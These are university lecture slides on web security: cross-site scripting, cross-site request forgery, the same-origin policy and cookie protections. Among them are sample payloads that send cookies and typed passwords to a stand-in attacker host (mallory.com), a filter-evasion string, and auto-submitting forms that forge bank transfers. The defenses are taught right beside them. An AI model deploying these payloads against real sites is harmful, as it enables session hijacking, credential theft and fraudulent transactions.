CSE 40567 / 60567: Computer Security

Web Security 2
Homework #8 is Due on 4/30 at 11:59PM Eastern

See Assignments Page on the course website for details
Course Instructor Feedback (CIF)
Deadline: 11:59PM, 5/5/19
Final Exam: May 8th at 10:30am
DBART 126 (this room)
Guest Lecture: 4/30
Saiph Savage
(Microsoft Research / WVU)

Topic: Fake News and Crowds
Vulnerabilities in Web Software: Cross-site Scripting
Understanding XSS

• Occurs when an attacker can inject scripting code into pages generated by a web application

• Methods for injecting malicious code:
  ‣ Reflected XSS
  ‣ Stored XSS
  ‣ Others, such as DOM-based attacks
Basic Scenario: Reflected XSS Attack

1. visit website
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data

Victim Server

Attack Server

XSS Example: Victim Site

Search field on victim server:

Server-side implementation of search.php:

```html
<HTML> <TITLE> Search Results </TITLE> <BODY>
Results for `<php echo $_GET[term] ?>` :
  
</BODY> </HTML>
```

[echo search term into response]
Cleverly crafted malicious input

What if a user clicks on the following link?


1. Browser goes to victim.com/search.php
2. Victim.com returns:
<HTML> Results for <script> ... </script>
3. Browser executes script:
Sends mallory.com cookie for victim.com
**Attack workflow: Reflected XSS**

**User gets bad link**

Client

http://victim.com/search.php?
term = <script> ... </script>

**User clicks on link**

www.mallory.com

**Victim echoes user input**

<html>
Results for
<script>
window.open(http://mallory.com?...
document.cookie...)
</script> </html>
Basic Scenario: Reflected XSS Attack (email)

1. collect email addr.
2. send malicious email
3. click on link
4. echo user input
5. send valuable data
Case study: 2006 PayPal Vulnerability

• Well-crafted phishing emails designed to fool Paypal users into accessing a URL on the legitimate PayPal website were deployed

• Injected code redirected the users to a page warning them that their account had been compromised

• The users were then redirected to a phishing site and prompted to enter sensitive financial data

Stored XSS Attack

1. Inject malicious script
2. request content
3. receive malicious script
4. steal valuable data

Attack Server

Victim Server

Bad Script Stored

4. steal valuable data

2. request content

3. receive malicious script

Stored XSS using images

What if photo.jpg on a webserver contains HTML?

Request for http://site.com/photo.jpg results in:

```
HTTP/1.1 200 OK
...
Content-Type: image/jpeg
<html> Not a real image </html>
```

Some browsers will render this as HTML (despite Content-Type)

Consider photo sharing sites that support image uploads:

- What if the image is a script?
Third possibility: Server-free XSS

DOM-based attack:

```html
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</HTML>

Where is the vulnerability here?

http://www.webappsec.org/projects/articles/071105.shtml
Third possibility: Server-free XSS

Works fine with this URL:
http://www.site.com/welcome.html?name=Walter

But what about this one?
http://www.example.com/welcome.html?name=
<script>alert(document.cookie)</script>

Malicious Cookie
Avoid XSS: defenses at the server

1. visit website
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data

Victim Server
Attack Server

Input data validation and filtering

• Don’t trust client-side data
  ‣ Best case: allow only what you expect
• Remove or encode special characters
  ‣ Trouble: there are many encodings and special characters
  ‣ e.g., long (non-standard) UTF-8 encodings
Output filtering and encoding

- Remove / encode (X)HTML special chars
  - &lt; for <, &gt; for >, &quot for " ...
- Allow only safe commands (e.g., prevent use of <script>...)
- Trouble: filter evasion tricks
  - e.g., if filter allows quoting (of <script> etc.), use malformed quoting: <IMG """"><SCRIPT>alert("XSS")...
  - Or: (long) UTF-8 encode
- Trouble: Scripts not only in <script>
Scripts not only in `<script>`

- JavaScript as scheme in URI
  - `<img src="javascript:alert(document.cookie);">`
- JavaScript On{event} attributes (handlers)
  - OnSubmit, OnError, OnLoad, ...

```html
<img src="none" OnError="alert(document.cookie)">
<iframe src='https://bank.com/login' onload='steal()'>
<form action="logon.jsp" method="post"
onsubmit="hackImg=new Image;
hackImg.src='http://www.mallory.com/\'+document.forms(1).login.value'+':\'+
document.forms(1).password.value;" </form>
```
Client-side XSS defenses

• **Proxy-based:** analyze HTTP traffic exchanged between web browser and the target web server
  ‣ Scan for special HTML characters and encode them before executing the page on the web browser

• **Application-level firewall:** scan浏览ed HTML pages for problematic hyperlinks and block bad requests using a set of rules

• **Auditing system:** compare operations of executed Javascript code to known templates of malicious behavior
HttpOnly Cookies

- Goal: prevent cookie theft via XSS
- Cookie can be sent via HTTP, but is not accessible to scripts
- Doesn’t address other XSS bugs
Summary of XSS defenses

• These are good ideas:
  ‣ Static analysis (e.g., ASP.NET has support for this)
  ‣ Taint tracking
  ‣ Framework support
  ‣ Continuous testing

• These are bad ideas:
  ‣ Blacklisting
  ‣ Manual sanitization
Vulnerabilities in Web Software: Cross-site Request Forging
Cross-site Request Forgery

1. User logs into bank.com
   - Session cookie remains in browser state

2. User visits another site containing this code:

   `<form name=F action=http://bank.com/BillPay.php>
   <input name=recipient value=mallory> ...
   <script> document.F.submit(); </script>`

3. Browser sends user auth. cookie with request
   - Transaction will be fulfilled
Basic Scenario: Cross-site Request Forgery

1. establish session
2. visit server (or iframe)
3. receive malicious page
4. send forged request (with cookie)

Question: how long do you stay logged into gmail?
Form post with cookie

GET /blog HTTP/1.1

<form action=https://www.bank.com/transfermethod=POST target=invisible frame><input name=recipient value=attacker><input name=amount value=$500><form><script>document.forms[0].submit()</script>

POST /transfer HTTP/1.1
Referer: http://www.mallory.com/blog
Recipient=attacker&amount =$500

HTTP/1.1 200 OK
Transfer Complete!
Defenses against Cross-site Request Forgery

- Secret Validation Token
  
  `<input type=hidden value=45b3af02b>`

- Referer Validation
  
  `Referer: http://www.facebook.com/home.php`

- Custom HTTP Header
  
  `X-Requested-By: XMLHttpRequest`
Client Side:
Browser Security Model
Operating System vs. Web Browser

**OS**

- **Primitives**
  - System Calls
  - Processes
  - Disk
- **Principals: Users**
  - Discretionary access control
- **Vulnerabilities**
  - Buffer Overflows
  - Privilege escalation

**Browser**

- **Primitives**
  - Document object model
  - Frames
  - Cookies
- **Principals: “Origins”**
  - Mandatory access control
- **Vulnerabilities**
  - CSS
  - CSRF

https://crypto.stanford.edu/cs155/lectures/08-browser-sec-model.pdf
Policy Goals

1. Safe to visit a malicious website

2. Safe to visit two pages at the same time

3. Allow safe delegation
Browser security mechanism

- Each frame of a page has an origin
  - Origin = protocol://host:port
- Frame can access its own origin
  - Network access, Read/write DOM, Storage (cookies)
- Frame cannot access data associated with a different origin
Browser security policy

• Frame-Frame relationships
  - \texttt{canScript}(A,B)
    ‣ Can Frame A execute a script that manipulates arbitrary/nontrivial DOM elements of Frame B?
  - \texttt{canNavigate}(A,B)
    ‣ Can Frame A change the origin of the content for Frame B?

• Frame-principal relationships
  - \texttt{readCookie}(A, S), \texttt{writeCookie}(A, S)
    • Can Frame A read/write cookies from site S?

See: https://code.google.com/p/browsersec/wiki/Part1
     https://code.google.com/p/browsersec/wiki/Part2
Library import excluded from Same-Origin Policy (SOP)

```html
<script src=https://seal.verisign.com/getseal?host_name=a.com></script>
```

- Script has privileges of imported page, NOT source server.
- Can script other pages in this origin, load more scripts
- Other forms of importing
Domain relaxation

- Origin: scheme, host, (port), hasSetDomain
- Try `document.domain = document.domain`
Additional mechanisms

Cross-origin network requests

- Access-Control-Allow-Origin: <list of domains>
- Access-Control-Allow-Origin: *

Cross-origin client side communication

- Client-side messaging via navigation (old browsers)
- `postMessage` (modern browsers)
Cookies and User Privacy
Cookies

- HTTP is a stateless protocol
- Cookies let us maintain state
Cookies

Used to store state on the client

POST ...

HTTP Header:
Set-cookie: NAME=VALUE ;
domain = (who can read) ;
expires = (when expires) ;
secure = (only over SSL)

If expires=NULL:
this session only

Cookie authentication

POST login.cgi
  Username & pwd
  Set-cookie: auth=val

Validate user
  auth=val
  restrict.html

Check val
  restrict.html
  auth=val
  YES / NO

If YES,
  restrict.html

Store val

GET restrict.html
  Cookie: auth=val

If YES,
  restrict.html
Cookie security policy

• Why implement one?
  ‣ User authentication
  ‣ Personalization
  ‣ User tracking: e.g., Doubleclick (3rd party cookies)

• Browser will store:
  ‣ At most 20 cookies/site, 3 KB / cookie

• Origin is the tuple <domain, path>
  ‣ Can set cookies valid across a domain suffix
Secure cookies

GET ...

HTTP Header:
Set-cookie: NAME=VALUE ;
Secure = true

• Provides confidentiality against network attacker
• Browser will only send cookie back over HTTPS
• Does not insure integrity
  • Can rewrite secure cookies over HTTP
    ▸ Attacker can rewrite secure cookies
    ▸ Attacker can log user into attacker’s account
httpOnly cookies

- Cookie sent over HTTP(S), but not accessible to scripts
  - It cannot be read via document.cookie
- Helps prevent cookie theft via XSS
  - Does not stop most other risks of XSS bugs

HTTP Header:
Set-cookie: NAME=VALUE ; httpOnly